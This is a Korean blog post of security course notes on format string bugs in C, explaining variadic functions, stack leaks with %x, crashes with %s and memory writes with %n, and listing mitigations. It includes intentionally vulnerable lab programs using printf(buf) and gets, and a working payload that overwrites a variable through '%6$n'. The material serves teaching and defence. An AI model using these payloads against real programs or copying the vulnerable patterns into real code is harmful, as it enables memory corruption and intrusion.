이 영역을 누르면 첫 페이지로 이동
천천히 꾸준히 조용히 블로그의 첫 페이지로 이동

천천히 꾸준히 조용히

페이지 맨 위로 올라가기

천천히 꾸준히 조용히

천천히 꾸준히 조용히.. i3months 블로그

[SSS] Format String Bug

  • 2025.10.06 01:56
  • Computer Science/Computer Security
반응형

 

 

 

Variadic function은 인자의 개수가 정해져 있지 않은 함수를 의미한다.

 

 

#include <stdarg.h>
#include <stdio.h>

void printNumbers(int Narg, ...) {
    va_list args;
    va_start(args, Narg); 

    for (int i = 0; i < Narg; i++) {
        int num = va_arg(args, int);
        printf("%d ", num);
    }

    va_end(args);
    printf("\n");
}

int main() {
    printNumbers(3, 10, 20, 30); 
    return 0;
}

 

 

 

Variadic function을 사용할 때의 스택이다.

 

Narg가 2로 설정된건 int, double의 pair 개수를 의미한다.

 

va_start 매크로로 인자가 시작하는 위치를 찾고

va_list 로 가변 인자 목록을 가리키는 포인터 변수를 선언한다.

va_arg 로 list 포인터를 type 크기만큼 이동시키며 인자를 꺼낸다.

 

 

 

 

 

 

 

printf에서도 가변 인자를 위와 같은 방식으로 처리한다.

%d를 100번 넣게 되면 va_arg도 100번 호출해 포인터를 이동시킨다. 

 

포맷스트링으로 입력한 모든 인자들은 일단 스택에 저장된다.

 

 

#include <stdio.h>

void fmtstr()
{
    char input[100];
    int var = 0x11223344;

    /* print out information for experiment purpose */
    printf("Target address: %x\n", (unsigned) &var);
    printf("Data at target address: 0x%x\n", var);

    printf("Please enter a string: ");
    fgets(input, sizeof(input)-1, stdin);
    
    printf(input); // The vulnerable place

    printf("\nData at target address: 0x%x\n", var);
}

int main() 
{
    fmtstr();
    return 0;
}

 

 

 

 

 

 

앞서 말했듯, printf 함수는 인자를 가리키는 포인터를 사용한다.

va_list 포인터는 포맷스트링 바로 위의 주소를 가리키고 있고, 스택 위로 이동하면서 인자들을 가져온다.

 

이 취약점을 사용해 Crash Program, Data Print, 메모리 변조, 악성 코드 주입 등 다양한 공격을 수행할 수 있다.

 

 

 

 

 

 

 

Program Crash

%s는 스택에 저장된 값이 주소값이라고 가정하고 그 주소를 읽어오는 역할을 수행한다.

%s%s%s%s를 입력했다고 해 보자. 특정 주소 값이 유효하지 않은 주소를 가리킬 경우 Segamentation fault 에러를 발생시킨다.

 

 

Print Out Data on the Stack

printf 함수는 서식 문자열을 명령어처럼 인식한다.

입력값으로 %x %x %x %x 를 입력한다면, 스택에 있는 값들을 순서대로 읽어서 16진수로 출력하게 된다.

 

 

Memory Manipulation

%n은 %n이 나오기 전 까지 프린트됐던 문자의 개수를 메모리 주소에 찍어주는 역할을 수행한다.

printf("hello%n", &i); 명령어를 수행하면 i라는 값에는 글자수 5가 들어간다. 

특정 변수의 값을 65로 바꾸고 싶으면 어떻게든 65개의 문자를 출력하고 %n으로 해당 변수의 주소에 65를 써 넣을 수 있다.

 

input에 echo printf ("\x04\xf3\xff\xbf").%xn.%x.%x.%x.%x.%x.%n > input 를 입력했다고 하자.

값을 바꾸고 싶은 변수 var의 주소를 리틀엔디안으로 표현해서 넣어준다. 

이후 명령어 치환으로 공격 문자열의 맨 앞 4바이트를 var변수의 주소로 채워넣을 수 있다. 

 

안그래도 주소를 알기 어려운데 ASLR 적용하면 var의 주소를 알아내기가 더 어렵다.

그러니..여러 취약점을 통해 var의 메모리 주소를 역산해서 알아낸 후 공격해야 한다. 

공격 format을 만드는것도 일이고.. 공격 대상의 주소를 알아내는것도 일이고.. BOF 등 여러 취약점과 함께 사용하는것도 일이고.. 

 

 

FSB를 막기 위해서, 사용자 입력을 format으로 사용하는걸 지양하자.

컴파일러가 format과 input의 개수가 일치하지 않을 때 경고 해 주는 것도 도움이 된다.

Address Randomization으로 프로그램이 활성화 될 때 마다 주소를 섞어주는 것도 도움은 되지만.. 근본적인 해결책이 되지는 않는다.

 

 

 

 


 

 

 

 

#include <stdio.h>
int main(){
    int a = 10;
    int b = 20;
    printf("A:%d, B:%d and B's address: %08x\n", a, b, &b);
    return 0;
}

 

 

 

 

 

 

printf 함수가 실행되기 직전에 프로그램이 멈춰야 하니 main 함수에 브레이크를 걸자.

run 후 n과 ni명령어를 적당히 사용하다 보면 정확히 printf 직전에 멈출 수 있다. 

 

 

 

 

현재 ESP는 포맷스트링이 저장된 주소를 가리키고, 그 위에부터는 인자로 입력한 0xa / 0x14 / b의 주소를 가리킨다.

printf 함수는 첫 번째 인자인 format을 그대로 사용하니.. format을 사용자가 조작할 수 있다면 공격으로 이어질 수 있다. 

 

 

 

#include <stdio.h>
int main(){
    int buf[30];
    gets(buf);
    printf(buf);
    printf("\n%s\n", buf);
    return 0;
}

 

 

 

 

 

프로그램을 컴파일하고 실행해보면.. 사용자가 직접 format을 지정할 때, 스택 메모리의 값을 읽을 수 있음을 확인할 수 있다.

 

16진수 문자열은 첫 번째 printf(buf)의 결과이고, 입력받은 %x%x 문자열을 format으로 받아들이고 스택 메모리의 값을 출력했다.

 두 번째 문자열은 원본 문자열을 그대로 출력한다. %x%x...

 

 

 

확인해보면.. 프린트로 출력되는 문자열과 실제 스택 메모리의 데이터가 같음을 확인할 수 있다. 

 

 

 

#include <stdio.h>
void main() {
    int num = 0;
    char buf[100];
    gets(buf);
    printf("buf=%s\n", buf, &num);
    printf("\nnum=%d\n", num);
}

 

 

 

 

 

입력이 AAAA 일 때는 buf= + AAAA 로 글자수가 8개니 num에 8이 저장되고,

입력이 AAAAAA 일 때는 글자수가 10개라서 num에 10이 저장된다. 

 

 

 

#include <stdio.h>
int num = 1111;
int main(void)
{
    char buf[20];
    gets(buf);
    printf(buf);
    puts("");
    if(num == 7777)
        printf("Success!!\n"); // Can you print me?!
    else
        printf("fail..\n");
    printf("num : %d\n", num);
}

 

 

 

 

 

41414141은 식별용으로 넣어둔 문자열 AAAA가 16진수로 변환된 값이다.

이 값이 6번째에 위치하니, 버퍼의 시작 주소가 printf 함수에게는 6번째로 인식됨을 확인할 수 있다. 

 

readelf 명령어로 변수의 주소를 찾아보자.

num 변수의 주소는 0x0804a028 이다.

 

이제 타겟 주소와 버퍼 위치를 알아냈으니, 두 정보를 조합해서 num의 값을 7777로 바꾸는 공격 페이로드를 작성하자.

 

(python -c 'print "\x28\xa0\x04\x08" + "%7773c" + "%6$n"') | ./task4

 

타겟의 주소를 작성할 때는 리틀 엔디안으로 작성해야 한다.

num에 저장할 값은 7777이다. 앞에 넣은 주소가 4바이트를 차지하니 printf가 %n을 만나기 전 까지 출력한 문자 수의 합이 7777이 되기 위해서는 7773을 사용한다. (7773c : 출력된 내용이 총 7773칸을 차지하도록 공백을 추가)

 

 

 

반응형
저작자표시 (새창열림)

'Computer Science > Computer Security' 카테고리의 다른 글

[SSS] Race Condition  (0) 2025.10.20
[SSS] Return Oriented Programming  (0) 2025.10.09
[SSS] Control Flow Hijacking - Shellcode  (0) 2025.09.29
[SSS] Control Flow Hijacking - Buffer Overflow  (0) 2025.09.21
[SSS] Set-UID Privileged Programs  (0) 2025.09.13

댓글

이 글 공유하기

  • 구독하기

    구독하기

  • 카카오톡

    카카오톡

  • 라인

    라인

  • 트위터

    트위터

  • Facebook

    Facebook

  • 카카오스토리

    카카오스토리

  • 밴드

    밴드

  • 네이버 블로그

    네이버 블로그

  • Pocket

    Pocket

  • Evernote

    Evernote

다른 글

  • [SSS] Race Condition

    [SSS] Race Condition

    2025.10.20
  • [SSS] Return Oriented Programming

    [SSS] Return Oriented Programming

    2025.10.09
  • [SSS] Control Flow Hijacking - Shellcode

    [SSS] Control Flow Hijacking - Shellcode

    2025.09.29
  • [SSS] Control Flow Hijacking - Buffer Overflow

    [SSS] Control Flow Hijacking - Buffer Overflow

    2025.09.21
다른 글 더 둘러보기

정보

천천히 꾸준히 조용히 블로그의 첫 페이지로 이동

천천히 꾸준히 조용히

  • 천천히 꾸준히 조용히의 첫 페이지로 이동

검색

방문자

  • 전체 방문자
  • 오늘
  • 어제

카테고리

  • 분류 전체보기 (679) N
    • Algorithm (205)
      • Data Structure (5)
      • Theory && Tip (33)
      • Baekjoon (166)
      • ALGOSPOT (1)
    • Spring (123)
      • Spring (28)
      • Spring Web MVC (20)
      • Spring Database (14)
      • Spring Boot (6)
      • Spring 3.1 (11)
      • Spring Batch (6)
      • Spring Security (16)
      • JPA (12)
      • Spring Data JPA (5)
      • QueryDSL (4)
      • eGovFramework (1)
    • Programming Language (74)
      • C (25)
      • C++ (12)
      • Java (19)
      • JavaScript (15)
      • Python (1)
      • PHP (2)
    • Computer Science (142)
      • Machine Learning (38)
      • Operating System (18)
      • Computer Network (28)
      • System Programming (22)
      • Universial Programming Lang.. (8)
      • Computer Architecture (4)
      • Compiler Design (11)
      • Computer Security (13)
    • Database (21)
      • Database (7)
      • MySQL (3)
      • Oracle (3)
      • Redis (5)
      • Elasticsearch (3)
    • DevOps (20)
      • Docker && Kubernetes (8)
      • Jenkins (4)
      • Amazon Web Service (8)
    • Mobile (28)
      • Android (21)
      • Flutter (7)
    • 💡 솔루션 (17)
    • 👥 모각코 (10)
    • 💬 기록 (8) N
    • 📚 공부 (6)
    • -------------- (25)

최근 글

나의 외부 링크

메뉴

  • 홈
반응형

정보

i3months의 천천히 꾸준히 조용히

천천히 꾸준히 조용히

i3months

블로그 구독하기

  • 구독하기
  • RSS 피드

티스토리

  • 티스토리 홈
  • 이 블로그 관리하기
  • 글쓰기
Powered by Tistory / Kakao. Copyright © i3months.

티스토리툴바